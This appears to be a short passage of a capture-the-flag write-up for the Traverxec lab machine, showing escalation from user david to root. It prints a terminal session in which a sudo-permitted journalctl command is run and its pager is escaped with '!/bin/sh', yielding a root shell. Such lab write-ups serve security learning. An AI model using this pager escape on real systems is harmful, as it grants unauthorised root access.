5 david > root

david@traverxec:~$ ls
bin  public_www  user.txt
david@traverxec:~$ cd bin
david@traverxec:~/bin$ ls
server-stats.head  server-stats.sh
david@traverxec:~/bin$ cat server-stats.head
                                                                          .----.
                                                              .---------. | == |
   Webserver Statistics and Data                              |.-"""""-.| |----|
         Collection Script                                    ||       || | == |
          (c) David, 2019                                     ||       || |----|
                                                              |'-.....-'| |::::|
                                                              '"")---(""' |___.|
                                                             /:::::::::::\"    "
                                                            /:::=======:::\
                                                        jgs '"""""""""""""'

david@traverxec:~/bin$ cat server-stats.sh
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Thu 2021-06-10 21:33:15 EDT, end at Thu 2021-06-10 23:02:41 EDT. --
Jun 10 22:39:07 traverxec sudo[23387]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data
Jun 10 22:39:09 traverxec sudo[23387]: pam_unix(sudo:auth): conversation failed
Jun 10 22:39:09 traverxec sudo[23387]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Jun 10 22:39:09 traverxec sudo[23387]: www-data : command not allowed ; TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=list
Jun 10 22:39:09 traverxec nologin[23443]: Attempted login by UNKNOWN on UNKNOWN
!/bin/sh
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

Last updated